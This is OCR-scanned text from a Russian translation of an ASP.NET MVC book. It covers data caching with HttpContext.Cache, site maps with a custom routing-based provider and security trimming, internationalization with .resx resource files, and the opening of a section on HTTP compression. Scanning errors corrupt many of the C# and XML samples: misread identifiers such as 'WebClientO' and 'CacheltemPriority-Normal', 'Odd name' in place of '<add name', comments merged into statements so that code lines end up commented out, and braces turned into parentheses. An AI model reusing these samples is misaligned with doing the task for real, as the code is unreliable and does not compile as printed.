Объект somelmportantData останется активным в течение времени выполнения приложения и всегда будет доступен в HttpContext .Application [ "mydata" ]. В результате может показаться, что коллекцию Application можно применять в качестве кэша для объектов или данных, которые требуют затрат при генерировании. На самом деле, коллекцию Application можно использовать подобным образом, но тогда придется самостоятельно управлять временем жизни кэшированных объектов. В противном случае коллекция Application будет бесконтрольно расти в размерах, потребляя все больший объем памяти.
Намного лучше воспользоваться встроенной в ASP.NET структурой данных Cache (System. Web. Caching. Cache). Она включает в себя готовые средства управления временем хранения и памятью, и контроллеры могут легко получать доступ к ее экземпляру через HttpContext.Cache. Эту структуру целесообразно применять для хранения результатов любых дорогостоящих вычислений или извлечений данных, таких как обращения к внешним веб-службам.
На заметку! HttpContext. Cache выполняет кэширование данных, что существенно отличается от кэширования вывода. Кэширование вывода фиксирует HTML-ответ, посланный методом действия, и затем повторяет его для последующих запросов того же самого URL, сокращая количество запусков метода действия. Дополнительные сведения о кэшировании вывода можно найти в разделе “Фильтр действия [Outputcache] ” главы 9. С другой стороны, кэширование данных позволяет гибко кэшировать и извлекать произвольные объекты и использовать их по своему усмотрению
514 Часть II. ASP.NET MVC во всех деталях
Чтение и запись данных в кэш
Структуру Cache проще всего применять в качестве словаря имен и значений, присваивая и извлекая значение из HttpContext. Cache [key]. Данные сохраняются и совместно используются всеми запросами, автоматически удаляясь из памяти по достижении некоторых пороговых значений использования памяти или по истечении некоторого достаточно долгого периода, в течение которого данные не были востребованы.
В структуру Cache можно помещать любой обт^ект .NET, который даже не обязательно должен быть сериализуемым, поскольку платформа хранит его в памяти как действующий объект. Элементы структуры Cache не обрабатываются сборщиком мусора, так как в них содержатся только ссылки на такие объекты. Конечно, это также означает; что весь граф объектов, достижимый из кэшированного объекта, не может быть удален в процессе сборки мусора, поэтому будьте осторожны и не кэшируйте больше, чем необходимо.
Вместо простого присваивания значения HttpContext. Cache [key] лучше пользоваться методом HttpContext. Cache. Add (), который позволяет конфигурировать параметры хранения, перечисленные в табл. 15.3.
Таблица 15.3. Параметры, которые можно указывать при вызове
HttpContext.Cache.Add()
Параметр	Тип	Описание
dependencies	CacheDependency	Позволяет указать одно или более имен файлов либо ключей других элементов кзша, от которых зависит данный элемент. Когда любой из этих файлов или элементов кэша изменится, данный элемент будет удален из кэша.
absoluteExpiration	DateTime	Это фиксированный момент времени, когда элемент будет удален из кэша. Обычно указывается относительно текущего времени (например, DateTime.Now. AddHours (1)). Если интересует только абсолютная дата устаревания, установите slidingExpiration в TimeSpan. Zero.
slidingExpiration	TimeSpan	Если к элементу кзша не было обращений (т.е. он не извлекался из коллекции кэша) в течение как минимум указанного периода времени, этот элемент удаляется из кэша. Создавать объекты TimeSpan можно с помощью методов TimeSpan. FromXXX() (например, TimeSpan.FromMinutes (10)). Если вы заинтересованы только в относительном сроке действия, установите absoluteExpiration в DateTime. MaxValue.
priority	CacheItemPriority	Если система удаляет элементы из кэша по причине нехватки памяти, первыми будут удалены элементы с меньшим приоритетом.
onRemoveCallback	CacheltemRemovedCallback	Позволяет указать функцию обратного вызова для получения уведомлений об устаревании элемента. Ниже будет приведен пример.
Глава 15. Компоненты платформы ASP.NET 515
Как упоминалось ранее, структура Cache часто используется для кэширования результатов вызовов дорогостоящих методов, таких как определенные запросы базы данных или обращения к веб-службам. Недостаток состоит в том, что кэшированные данные могут устареть и не отражать актуальные результаты. Поэтому при решении того, что нужно кэшировать и на какое время, приходится идти на компромиссы.
Например, предположим, что веб-приложение выполняет HTTP-запросы к другим вебсерверам. Это может понадобиться для обращения к веб-службе REST, для извлечения содержимого RSS-каналов или для выяснения, какой логотип Google отображает на текущий момент. Каждый такой HTTP-запрос к стороннему серверу может занять несколько секунд, в течение которых посетителю сайта придется ожидать ответа. Посколыу эта операция является дорогостоящей, имеет смысл кэшировать ее результаты.
Описанную логику можно инкапсулировать в классе по имени CachedWebRequestService. реализованном следующим образом:
public class CachedWebRequestService
{
private Cache cache; // Причина хранения этого станет ясной позже private const string cacheKeyPrefix = "__CachedWebRequestService";
public CachedWebRequestService(Cache cache) {
this.cache = cache;
}
public string GetWebPage(string url)
{
string key = cacheKeyPrefix + url; // Вычислить ключ кэша
string html = (string)cache[key]; // Попытаться извлечь значение if (html == null) // Проверить, присутствует ли оно в кзше (
// Реконструировать значение, выполняя действительный НТТР-запрос html = new WebClientO.DownloadString(url);
// Кэшировать результат HTTP-запроса
cache.Insert(key, html, null, DateTime.MaxValue,
TimeSpan.FromMinutes(15), CacheltemPriority-Normal, null);
}
return html; // Вернуть извлеченное или реконструированное значение
}
}
К экземпляру этого класса можно обратиться в методе действия, передав его конструктору в качестве параметра коллекцию HttpContext. Cache:
public string Index()
{
var cwrs = new CachedWebRequestService(HttpContext.Cache);
string httpResponse = cwrs.GetWebPage("http://www.example.com");
return string.Format("The example.com homepage is {0} characters long.", httpResponse.Length);
}
Здесь необходимо отметить два момента.
• Каждый раз, когда этот код извлекает элементы из коллекции Cache, он проверяет, не равно ли null извлеченное значение. Это важно, потому что элементы мо-iyr быть удалены из Cache в любой момент, даже до истечения заданного времени хранения. Ниже описана типичная последовательность действий для получения значений (как было показано в предшествующем примере).
516 Часть II. ASP.NET MVC во всех деталях
1.	Вычислить ключ кзша.
2.	Попытаться извлечь значение по этому ключу.
3.	Если в результате получено null, реконструировать значение и добавить его в кэш под этим ключом.
4.	Вернуть значение, которое было извлечено или реконструировано.
•	Если несколько компонентов приложения совместно используют одну и ту же коллекцию Cache (обычно в приложении имеется только один экземпляр Cache), удостоверьтесь, что не генерируются конфликтующие значения ключей. В противном случае вам обеспечен длительный сеанс отладки. Самый простой путь избежать конфликтов предусматривает применение собственной системы пространств имен. В предыдущем примере все ключи кэша снабжаются префиксом в виде специального константного значения, которое гарантированно не совпадет ни с каким другим компонентом приложения.
Использование расширенных средств кэширования
Описанных выше функций кэширования, скорее всего, окажется достаточно для большинства приложений. Тем не менее, платформа предлагает ряд дополнительных возможностей для работы с зависимостями.
•	Зависимости от файлов. Можно устанавливать правило, что элемент устаревает, когда изменяется любой файл из заданного набора (на диске). Это удобно, если кэшированный объект является представлением в памяти содержимого файла; в таком случае при изменении файла на диске необходимо просто удалить кэшированную копию из памяти.
•	Зависимости от элементов кэша. Можно устанавливать цепочки зависимостей от элементов кэша. Например, устаревание элемента А также приводит к устареванию элемента В. Это удобно, если элемент В является осмысленным только в сочетании с элементом А.
•	Зависимости от уведомлений кэша SQL. Это более сложное средство. Оно позволяет определять устаревание элемента кэша, когда изменяются результаты заданного запроса SQL. В базах данных SQL Server 7 и SQL Server 2000 зто достигается с помощью механизма опроса, а в базах данных SQL Server 2005 и последующих версий используется встроенный компонент Service Broker, который позволяет избежать необходимости в проведении опроса. Чтобы использовать любое из этих средств, придется провести основательные исследования (дополнительные сведения по этому поводу можно почерпнуть в книге Pro SQL Server 2008 Service Broker (Apress, 2008 r.)).
И. наконец, можно указать функцию обратного вызова, которая будет запущена при устаревании данного элемента кэша, например, чтобы реализовать специальную систему зависимостей от элементов кэша. Другой причиной выполнения каких-то действий по устареванию элемента кэша может быть необходимость в обновлении устаревшего элемента на лету. Это удобно в случае, когда для пересоздания элемента требуется время, но следующего посетителя определенно нельзя заставлять ждать. Однако следует помнить, что в данной ситуации фактически создается бесконечный цикл, поэтому зто не должно делаться в отношении быстро устаревающих элементов.
Ниже показано, как модифицировать предыдущий пример для пересоздания каждого элемента кэша при его устаревании:
Глава 15. Компоненты платформы ASP.NET 517
public string GetWebPage(string url) {
string key = cacheKeyPrefix + url; // Вычислить ключ кзша
string html = (string)cache[key]; // Попытаться извлечь значение if (html == null) // Проверить, присутствует ли оно в кзше {
// Реконструировать значение, выполняя действительный НТТР-запрос html = new WebClientO.DownloadString(url);
// Кэшировать результат HTTP-запроса
cache.Insert(key, html, null, DateTime.MaxValue,
TimeSpan.FromMinutes(15), CacheltemPriority.Normal, OnltemRemoved);
}
return html; // Вернуть извлеченное или реконструированное значение
}
void OnltemRemoved(string key, object value, CacheltemRemovedReason reason) {
if (reason == CacheltemRemovedReason.Expired)
{
// Заново заполнить кэш
GetWebPage(key.Substring(cacheKeyPrefix.Length));
}
}
Обратите внимание, что функция обратного вызова вызывается вне контекста любого HTTP-запроса. Это означает невозможность иметь доступ к любому объекту Request или Response (они просто не существуют и не доступны даже через свойство System. Web. HttpContext. Current), равно как и невозможность сгенерировать какой-либо вывод, видимый любому посетителю. Единственная причина, по которой предыдущий код может иметь доступ к Cache — наличие в нем собственной ссылки на эту коллекцию.
Внимание! Остерегайтесь утечек памяти! Когда функция обратного вызова является методом экземпляра объекта (а не статическим методом), в глобальном объекте Cache фактически устанавливается ссылка на объект, хранящий функцию обратного вызова. Это значит, что сборщик мусора не сможет удалить ни сам объект, ни любой из объектов, доступных ему в графе. В предыдущем примере CachedWebRequestService имеет ссылку только на разделяемый объект Cache, так что здесь все в порядке. Однако если бы вместо этого хранилась ссылка на объект HttpContext, в памяти бы присутствовало множество действительных объектов без каких-либо веских причин.
Карты сайтов
Практически каждому сайту требуется система навигации, которая обычно отображается в виде области навигации в верхней левой части каждой страницы. Это настолько распространенное требование, что в ASP.NET 2.0 появилась концепция карт сайтов (site шар), которая, по сути, представляет собой стандартный API-интерфейс для описания и работы с навигационными иерархиями. Он состоит из двух частей.
•	Конфигурирование навигационной иерархии сайта в виде одного или нескольких XML-файлов либо в виде специального класса SiteMapProvider. После этого платформа будет самостоятельно отслеживать местоположение посетителя в навигационной иерархии.
•	Визуализация пользовательского интерфейса навигации с помощью встроенных серверных элементов управления навигацией или создаваемых собственных элементов управления навигацией, обращающихся к API-интерфейсу карт сайта. Встроенные элементы могут выделять текущее местоположение посетителя и даже отфильтровывать ссылки, посещение которых ему запрещено.
518 Часть II. ASP.NET MVC во всех деталях
Разумеется, несложно добавить к мастер-странице сайта статические ссылки, написав простой HTML-код, и получить элементарные средства навигации, однако карта сайта более предпочтительна, так как поддерживает простое конфигурирование (структура навигации наверняка несколько раз поменяется во время и после разработки), а также описанные выше возможности.
Платформа ASP.NET поставляется с тремя встроенными элементами управления навигацией, перечисленными в табл. 15.4, которые подключаются к конфигурации карт сайтов автоматически. К сожалению, только один из них работает правильно без полной инфраструктуры форм серверной стороны, применяемой в ASP.NET WebForms.
Таблица 15.4. Встроенные серверные элементы управления картами сайтов
Элемент управления	Описание	Может ли использоваться в приложении МУС?
SiteMapPath	Отображает цепочку навигации (breadcrumb; меню типа "хлебные крошки”), показывающую текущий узел в навигационной иерархии и его соседей.	Да
Menu	Отображает фиксированное иерархическое меню, выделяя текущую позицию посетителя.	Нет (должно размещаться в дескрипторе <f orm runat="server">)
Treeview	Отображает реализованное JavaScript-кодом иерархическое всплывающее меню, выделяя текущую позицию посетителя.	Нет (должно размещаться в дескрипторе <f orm runat="server">)
Учитывая, что элементы Menu и TreeVew неприменимы, скорее всего, понадобится реализовать собственные MVC-совместимые вспомогательные методы HTML для элементов управления навигацией, которые будут обращаться к API-интерфейсу карт сайтов. Ниже будет приведен пример.
Настройка и использование карт сайтов
Чтобы использовать поставщик по умолчанию XmlSiteMapProvider, щелкните правой кнопкой мыши на корневой папке проекта и выберите в контекстном меню пункт AddoNew Item (Добавить1^Новый элемент). В открывшемся окне выберите элемент Site Мар (Карта сайта) и оставьте для него стандартное имя Web. sitemap.
Совет. Если карта сайта должна быть размещена в другом месте или названа как-то иначе, потребуется переопределить стандартные настройки XmlSiteMapProvider в файле web. config. Например, добавьте следующие строки в узел <system.web>:
<siteMap defaultProvider="MyXmlSiteMapProvider" enabled="true">
<providers>
Odd name="MyXmlSiteMapProvider" type="System.Web.XmlSiteMapProvider" siteMapFile="~/Folder/MySiteMapFile.sitemap" />
</providers>
</siteMap>
Теперь можно заполнить карту Web. sitemap, описав навигационную структуру сайта с использованием XML-схемы, стандартной для карт сайтов:
Глава 15. Компоненты платформы ASP.NET 519
<?xml version="l.О" encoding="utf-8" ?>
<siteMap xmlns="http://schemas.microsoft.com/AspNet/SiteMap-File-1.0" >
<siteMapNode url="~/ " title="Home" descriptions"">
<siteMapNode url="~/Home/About" title="About" description="All about us"/>
<siteMapNode url="~/Home/Another" title="Something else"/>
<siteMapNode url="http://www.example.com/" title="Example.com"/> </siteMapNode>
</siteMap>
Затем можно поместить встроенный элемент управления SiteMapPath на мастер-страницу:
<asp:SiteMapPath runat="server"/>
Этот элемент отобразит текущее местоположение посетителя в навигационной иерархии (рис. 15.10).
Рис. 15.10. Элемент управления SiteMapPath
Создание специального элемента управления навигацией с помощью API-интерфейса карт сайтов
Навигационные цепочки очень удобны, но вдобавок может понадобиться и некоторое меню. Построить специальный вспомогательный метод HTML, который получает навигационную информацию с использованием класса SiteMap. довольно легко. Например, поместите приведенный ниже код класса в любое место приложения:
public static class SiteMapHelpers
(
public static void RenderNavMenu(this HtmlHelper html) {
HtmlTextWriter writer = new
HtmlTextWriter(html.ViewContext.HttpContext-Response.Output); RenderRecursive(writer, SiteMap.RootNode);
}
private static void RenderRecursive (HtmlTextWriter writer, SiteMapNode node) {
if (SiteMap.CurrentNode == node) // Выделить местоположение посетителя writer.RenderBeginTag(HtmlTextWriterTag.В);// Визуализировать в виде // полужирного текста else
{
// Визуализировать в виде ссылки
writer.AddAttribute(HtmlTextWriterAttribute.Href, node.Url ;
520 Часть II. ASP.NET MVC во всех деталях
writer.RenderBeginTag(HtmlTextWriterTag.А); } writer.Write(node.Title);
writer.RenderEndTag();
// Визуализировать дочерние узлы
if (node.ChildNodes.Count > 0) {
writer.RenderBeginTag(HtmlTextWriterTag.UI); foreach (SiteMapNode child in node.ChildNodes) {
writer.RenderBeginTag(HtmlTextWriterTag.Li);
RenderRecursive(writer, child); writer.RenderEndTag(); } writer.RenderEndTag0; } } }
RenderNavMenu() — это расширяющий метод, поэтому он будет доступным на определенной мастер-странице или в представлении только после импорта его пространства имен. /Добавьте следующий фрагмент в начало вашей мастер-страницы или представления:
<%@ Import Namespace="npoc<rparrcTBo имен, содержащее класс SiteMapHelpers" %>
После этого специальный вспомогательный метод HTML можно вызывать, как показано ниже:
<% Html.RenderNavMenu(); %>
В зависимости от конфигурации карты сайта и текущего местоположения посетителя, этот вызов приведет к визуализации приблизительно такой разметки:
<а href="/">Home</a>
<ul>
<lixb>About</bx/li>
<lixa href="/Home/Another">Something else</aX/li>
clixa href = "http: /1www. example. com/">Example. com</ax/li>
</ul>
Разумеется, при желании можно добавить любое форматирование. CSS или сценарии клиентской стороны.
Генерация URL карты сайта из данных маршрутизации
Стандартный поставщик карт сайта ASP.NET, XmlSiteMapProvider, ожидает указания явного URL для каждого узла карты сайта. Класс XmlSiteMapProvider был предшественником новой системы маршрутизации.
Однако в приложении ASP.NET MVC лучше не указывать явные URL, а взамен генерировать их динамически, согласно конфигурации маршрутизации. Для этого содержимое Web . sitemap понадобится заменить следующим кодом:
<?xml version-"!.0" encoding="utf-8" ?>
<siteMap xmlns="http://schemas.microsoft.com/AspNet/SiteMap-File-1.0" >
<siteMapNode title="Home" controller="Home" action="Index">
<siteMapNode title="About" controller="Home" action="About"/>
<siteMapNode title="Log in" controller="Account" action="LogOn"/> </siteMapNode>
</siteMap>
Глава 15. Компоненты платформы ASP.NET 521
Обратите внимание, что в этой конфигурации нет жестко закодированных URL. Эта конфигурация не будет работать со стандартным поставщиком XmlSiteMapProvider, поэтому следует создать специальный поставщик карты сайта. Добавьте в проект следующий класс:
public class RoutingSiteMapProvider : StaticSiteMapProvider {
private SiteMapNode rootNode;
public override void Initialize(string name, NameValueCollection attributes) {
base.Initialize(name, attributes);
// Загрузить XML-файл, взяв имя из web.config
// или выбрав Web.sitemap как имя по умолчанию
var xmlDoc = new XmlDocument() ;
var siteMapFile = attributes["siteMapFile"] ?? "~/Web.sitemap"; xmlDoc.Load(HostingEnvironment.MapPath(siteMapFile));
var rootSiteMapNode = xmlDoc.DocumentElement["siteMapNode"];
// Построить структуру навигации
var httpContext = new HttpContextWrapper(HttpContext.Current);
var requestcontext = new Requestcontext(httpContext, new RouteData()); rootNode = AddNodeRecursive(rootSiteMapNode, null, requestcontext);
}
private static string[] reservedNames = new[] {"title","description","roles"}; private SiteMapNode AddNodeRecursive(XmlNode xmlNode, SiteMapNode parent, Requestcontext context)
{
// Сгенерировать URL узла, опросив RouteTable.Routes
var routevalues = (from XmlNode attrib in xml Node.Attributes
where !reservedNames.Contains(attrib.Name.ToLower()) select new { attrib.Name, attrib.Value })
.ToDictionary(x => x.Name, x => (object)x.Value);
var routeDict = new RouteValueDictionary(routevalues);
var url = RouteTable.Routes.GetVirtualPath(context, routeDict).VirtualPath;
/ / Зарегистрировать данный узел и его дочерние узлы
var title = xmlNode.Attributes["title"].Value;
var node = new SiteMapNode(this, Guid.NewGuid().ToStringO, url, title); base.AddNode(node, parent);
foreach (XmlNode childNode in xmlNode.ChildNodes) AddNodeRecursive(childNode, node, context); return node;
1
// Эти методы вызываются ASP.NET для извлечения данных карты сайта protected override SiteMapNode GetRootNodeCore() { return rootNode; } public override SiteMapNode BuildSiteMap() { return rootNode; }
}
Активизируйте специальный поставщик карты сайта, добавив следующий фрагмент в узел <system.web> файла web.config:
<siteMap defaultProvider="MyProvider">
<providers>
<clear/>
<add name="MyProvider" type="Namespace.RoutingSiteMapProvider"/> </providers>
</siteMap>
522 Часть II. ASP.NET MVC во всех деталях
Это требует несколько большей работы, чем простое применение встроенного в ASP.NET поставщика карты сайта, однако оно того стоит. Теперь элементы карты сайта можно определять в терминах произвольных данных маршрутизации, не кодируя жестко URL. Всякий раз, когда конфигурация маршрутизации изменяется, вместе с ней меняется и пользовательский интерфейс навигации. В файле карты сайта можно указывать не только контроллера и действия, но и любые специальные параметры маршрутизации, а соответствующие URL будут генерироваться согласно конфигурации маршрутизации.
Ограничение прав доступа
В картах сайтов поддерживается средство ограничения прав доступа. Его идея состоит в том, что каждый посетитель должен видеть только ссылки на те части сайта, доступ к которым ему разрешен. Чтобы включить это средство, измените регистрацию поставщика карты сайта следующим образом:
<siteMap defaultProvider="MyProvider">
<providers>
<clear/>
<add name="My₽rovider" type="Namespace.RoutingSiteMapProvider" securityTrimmingEnabled="true"/>
</providers>
</siteMap>
После этого появляется возможность управлять тем, какие узлы доступны конкретному посетителю, переопределяя метод IsAccessibleToUser () в поставщике карты сайта:
public class RoutingSiteMapProvider : StaticSiteMapProvider
{
// Остальная часть класса не изменяется
public override bool IsAccessibleToUser(HttpContext context,
SiteMapNode node)
(
if(node == rootNode) return true; // Корневой узел всегда должен
// быть доступным
// Сюда помещается специальная логика
}
}
Обычный способ сделать это предусматривает добавление атрибута roles в каждый узел <siteMapNode> и расширение RoutingSiteMapProvider для обнаружения значения этого атрибута и использования метода context .User. IsInRole () для проверки факта принадлежности посетителя к списку указанных ролей. Пример реализации можно найти в загружаемом коде для этой книги.
На заметку! Амбициозный разработчик может посчитать, что ему удастся избежать конфигурирования ролей, а вместо этого запускать фильтры авторизации на целевом действии и определять во время выполнения, разрешено ли посетителю обращаться к каждому узлу карты сайта. Теоретически это возможно, но будет чрезвычайно трудно учесть все варианты настройки выбора контроллеров и методов действий, размещения фильтров и определения фильтрами авторизации, кому разрешено обращаться к данному действию. Вдобавок эту информацию понадобится кэшировать, поскольку производить подобные вычисления заново при каждом запросе будет слишком дорого.
Глава 15. Компоненты платформы ASP.NET 523
Не забывайте, что ограничение прав доступа лишь скрывает ссылки в навигационном меню ради удобства. На самом деле это не помешает посетителю явно запросить соответствующие URL. Безопасность сайта не может быть обеспечена без соблюдения ограничений доступа путем применения фильтров авторизации.
Интернационализация
Разработка многоязычных приложений всегда была нелегкой задачей, но в .NET Framework предлагается ряд служб, призванных облегчить ее.
•	Пространство имен System.Globalization предоставляет различные службы, связанные с глобализацией (такие как класс Cultureinfo), которые могут форматировать даты и числа для различных языков и культур.
•	Каждый поток .NET поддерживает собственные свойства Currentculture (объект Cultureinfo, который определяет различные установки форматирования и сортировки) и CurrentUICulture (объект Cultureinfo, указывающий, какой язык должен использоваться для текста пользовательского интерфейса).
•	Различные методы форматирования строк, учитывающие Currentculture потока при визуализации дат, чисел и валют.
•	Среда Visual Studio имеет встроенный редактор ресурсов, который облегчает управление переводами строк на разные языки. Во время разработки к этим строковым ресурсам можно обращаться через средство IntelliSense, потому что Visual Studio генерирует класс с отдельным свойством для каждой ресурсной строки. Во время выполнения эти свойства вызывают System. Resources .ResourceManager для возврата перевода, соответствующего CurrentUICulture текущего потока.
В ASP.NET MVC WebForms доступны два дополнительных средства глобализации, которые теоретически все еще можно использовать в приложениях MVC.
•	Если пометить ASPX-объявление <%@ Раде %> атрибутами Culture="auto:en-US" и UlCulture="auto : en-US", платформа проверит входящие запросы на наличие заголовка Accept-Language и затем присвоит соответствующие значения Currentculture и CurrentUICulture (в данном примере по умолчанию используя en-US, если в браузере не указана предпочитаемая культура).
•	Серверные элементы управления можно привязать к ресурсным строкам с помощью синтаксиса <asp:Label runat="server" Text="<%$ resources:YourDateOfBirth %>"/>.
В приложениях ASP.NET MVC обычно ни одно из последних двух средств не применяется. Представления MVC легче строить с использованием вспомогательных методов HTML вместо серверных элементов управления в стиле WebForms, поэтому синтаксис <%$ . . . %> здесь используется редко. Кроме того, объявления <%@ Раде %> не дадут эффекта до тех пор, пока не будет визуализировано представление, что слишком поздно, если запрошенная посетителем культура должны быть учтена еще во время выполнения метода действия. Ниже будут предложены лучшие альтернативы.
Платформа также позволяет устанавливать два типа ресурсов глобализации, неудачно названных локальными и глобальными. Локальные ресурсы ассоциированы с одним специфическим файлом ASPX или ASCX (Visual Studio автоматически сгенерирует заполнители ресурсов для каждого серверного элемента управления, что. опять-таки, не особенно полезно для приложений MVC). Глобальные ресурсы доступны во всем приложении. Ради краткости, а также потому, что локальные ресурсы, ориентирлвя иные на серверные элементы управления, не особенно эффективны в приложениях ASP.NET MVC, ниже будут подробно рассматриваться только глобальные ресурсы
524 Часть II. ASP.NET MVC во всех деталях
Настройка интернационализации
Настроить интернационализацию в приложении MVC очень легко. Щелкните правой кнопкой мыши на проекте в окне Solution Explorer и выберите в контекстном меню пункт Add^New Item (Добавить^Новый элемент)5. Выберите Resources File (Файл ресурсов), и назовите файл Resources . resx. Добавьте одну или более строк, которые вы хотите локализовать, — вроде тех, что показаны на рис. 15.11.
Нате	Value	Comment
Elevator	elevator	
Greeting	' hciydy	
Pants	i pants	
Sidavalk	sidewalk	
► TheRuler	i the President	
Ж		
		
Рис. 15.11. Файл ресурсов для культуры по умолчанию
Значения, заданные в файле Resources. resx, будут использоваться в приложении по умолчанию. Если понадобится поддерживать другой язык, создайте аналогичный файл ресурсов с тем же именем, но другим обозначением культуры (например, Resources . en-GB . resx или Resources . ru-RU. resx). На рис. 15.12 показано содержимое файла Resources . en-GB. resx.
Name	Value	Comment
Elevator	lift	
Greeting	iSrhat ho! A jolly warm welcome	
Pants	trousers	
Side.valk	pavement	
► TheRuler	Her Royal Britannic Majesty, the Queen	
Ж		
		
Рис. 15.12. Файл ресурсов для культуры en-GB
После сохранения файла Resources . resx специальный инструмент в Visual Studio создаст класс C# в файле Resources . Designer. cs. Помимо прочего, сгенерированный класс содержит статическое свойство, соответствующее каждой ресурсной строке, например:
/// <summary>
/// Поиск локализованной строки, аналогичной понятию "President".
/// </summary>
internal static string TheRuler { get {
return ResourceManager.GetString("TheRuler", resourceculture);
}
}
5 Если хотите следовать соглашениям о папках ASP.NET, создайте специальную папку, предназначенную для ASP.NET. по имени Арр _Cl.otalResoij.rces и поместите туда файл ресурсов (хотя делать это совсем не обязательно).
Глава 15. Компоненты платформы ASP.NET 525
Это почти то, что нужно. Единственная проблема здесь в том, что автоматически сгенерированный класс и все его свойства помечены как internal, что делает их недоступными в представлениях ASPX (которые компилируются в виде одной или более отдельных сборок). Чтобы решить зту проблему, вернитесь к файлу Resources.resx и установите модификатор доступа public, как показано на рис. 15.13.
«Й Strings » j Add Resource *
Nsme	Value
Elevator	' elevator
Access Modifier: Public
Internal
No cede generation
Рис. 15.13. Как сделать класс ресурса доступным за пределами его сборки
Теперь в представлениях MVC к ресурсным строкам можно обращаться строго типизированным, поддерживающим средство IntelliSense способом (рис. 15.14).
; uJ	_______ ^string Resources,Be/ator
i ^Equals	p Looks up a localized: string similar tceleratcn!
| Greeting	I
I -.T Pants	~ J
Рис. 15.14. Средство IntelliSense поддерживает работу с ресурсными классами
Во время выполнения ResourceManager извлечет значения, которые соответствуют культуре, указанной в CurrentUICulture текущего потока. Но как определяется эта культура? По умолчанию она берется из настроек ОС Windows на сервере, но часто требуется варьировать культуру для каждого посетителя, проверяя входящий заголовок Accept-Language для определения его предпочтений.
Один из способов достижения этого, который отлично работает, если предпочитаемую культуру посетителя нужно учитывать только при визуализации шаблонов представлений ASPX, состоит в добавлении атрибута UlCulture="auto" к директиве <%@ Раде %> представления. Это не слишком удобно, если учитывать культуру посетителя необходимо во время выполнения метода действия или при визуализации представлений с использованием других механизмов. Возможно, лучшим решением будет добавление следующего кода в файл Global. asax. cs:
protected void Application_BeginRequest(object sender, EventArgs e)
{
// Используется код WebForms для применения "автоматически выбираемой"
// культуры к текущему потоку и автоматической обработки запросов
// недопустимой культуры.
//По умолчанию принимается en-US.
using(var fakePage = new Page()) {
var ignored = fakePage.Server; // Обойти причуды WebForms
fakePage.Culture = "auto:en-US”;	// Применить локальное
// форматирование для зтого истока
fakePage.UlCulture = "auto:en-US"; // Применить локальный язык // для зтого потока
526 Часть II. ASP.NET MVC во всех деталях
При желании проверять значения входящего заголовка Accept-Language можно и вручную, используя для этого Request. UserLanguages, но следует иметь в виду, что клиенты могут запрашивать несуществующие или некорректные установки культуры. В предыдущем примере показано, как вместо разбора заголовка и обнаружения некорректных запросов культуры вручную можно воспользоваться уже реализованной логикой класса Раде из WebForms.
Теперь в зависимости от того, какой язык сконфигурировал посетитель в своем браузере, он увидит одну из страниц, показанных на рис. 15.15.
e httpnflEca!ho3s55i
My Sample М/С Applies..
Howdy!
Latest news:
•	Government plans to -.viden sidewalk
•	Man’s pants caught in elcxarcr door
•	Christmas is 12 25'2008
•	One unit of currency is S LOO
Withrespect io die President.
М Му Sa-isle MVC Арз-хайоп - Internal Explorer
SampleApphc,.,	~
' What Но! A Jolly Wann Welcome!
j Latest news:
•	Gov-emment plans to widen pavement
•	Man's trousers caught in lift door
•	Christmas is 2542/2005
*	One unit of currency is £1.00
I With respect to Her Royal Britannic Majesty, the Queen.
Рис. 15.15. Вывод для примера интернационализации
Окно, показанное справа, соответствует установке браузера en-GB, а слева — любой другой установке. Дата и обозначение валюты форматируются с использованием Date.ToShortDateStringO и string.Format("{0:с}", 1) соответственно.
Советы по работе с файлами ресурсов
Все приложения, кроме самых небольших, выигрывают от хранения ресурсов в отдельной сборке. Это облегчает их длительную эксплуатацию и означает возможность ссылаться на них из других проектов.
Для этого создайте новый проект библиотеки классов, щелкните правой кнопкой мыши па его имени и выберите в контекстном меню пункт Add^New Item (Добавить1^ Новый элемент) для добавления файла . resx в точности так, как это делалось раньше. Все достаточно легко. Только не забудьте указать Visual Studio, что генерируемые классы должны быть помечены как public (см. рис. 15.13). Это сделает их доступными в других проектах решения.
Существует еще один трюк, о котором следует упомянуть. Вместо того чтобы постоянно набирать ПроектРесурсов.Resources.Something при редактировании представлений MVC, добавьте в файл web. config следующую глобальную регистрацию пространства имен, после чего можно будет писать просто Resources. Something:
<system.web>
<pages>
<namespaces>
Odd namespace="ПроектРесурсов"/>
</namespaces>
</pages>
</system.web>
Глава 15. Компоненты платформы ASP.NET 527
Использование заполнителей в ресурсных строках
Само собой, в реальных сценариях интернационализации на разные языки должны переводиться целые фразы, а не только отдельные слова представляться на разных диалектах. Внутрь этих фраз часто придется вставлять другие строки, которые будут извлекаться из базы данных или вводиться пользователем.
Обычное решение таких задач предусматривает комбинирование средств интернационализации платформы с метода String. Format () и применение пронумерованных заполнителей и средства комментариев (Comment) редактора ресурсов, которое позволяет объяснить переводчикам, что означает каждый заполнитель. Например, ресурсный файл по умолчанию может содержать заполнители, показанные на рис. 15.16.
Мате
UserUpdated
Value
The user was updated	tt}
Ccmment
{0} = username. {1} = time updated
Рис. 15.16. Ресурсный файл с заполнителями
На основе этого переводчики смогут создать файл ресурсов для испанского языка, как показано на рис. 15.17.
Мате
Comment
({LHiimm}) El usuaric "{0}" ha side actualizado {0} = username, {1} = time updated
Рис. 15.17. Ресурсный файл для культуры es-ES
После этого можно визуализировать локализованную строку из представления следующим образом:
<%= string.Format(Resources.UserUpdated, ViewData["UserName"], DateTime.Now) %>
В результате получится:
The user "Bob" was updated at 1:46 PM
Но для испаноязычных посетителей увидят следующий вывод:
(13:46) El usuario "Bob" ha sido actualizado
Обратите внимание, насколько легко меняется структура предложений и даже используются разные стили форматирования. Полные фразы могут быть переведены намного яснее, чем индивидуальные фрагменты предложений наподобие “was updated at".
Если интернационализация играет важную роль в разрабатываемом приложении, то понадобится учесть и другие моменты, например, проектирование для языков с письмом справа налево, а также поддержка календарей, отличных от григорианского. Дополнительные сведения об интернационализации можно найти в книге .ХЕТ Internationalization (Addison-Wesley, 2006 г.).
Производительность
В оставшейся части этой главы вы ознакомитесь с некоторыми приемами повышения, мониторинга и измерения производительности приложений ASP.NET MVC. Все они построены на применении базовых средств платформы ASP.NET.
528 Часть II. ASP.NET MVC во всех деталях
HTTP-сжатие
По умолчанию платформа MVC отправляет данные ответа браузеру в простом, несжатом формате. Например, текстовые данные (HTML-разметка) обычно посылаются в виде байтового потока UTF-8: это более эффективно, чем UTF-16, но далеко не так плотно упаковано, как могло бы быть. Почти все современные браузеры воспринимают данные в сжатом формате и сообщают о своей способности принимать их, отправляя заголовок Accept-Encoding с каждым запросом. Так, например, и Firefox 3, и Intermet Explorer 7 посылают следующий HTTP-заголовок:
Accept-Encoding: gzip, deflate
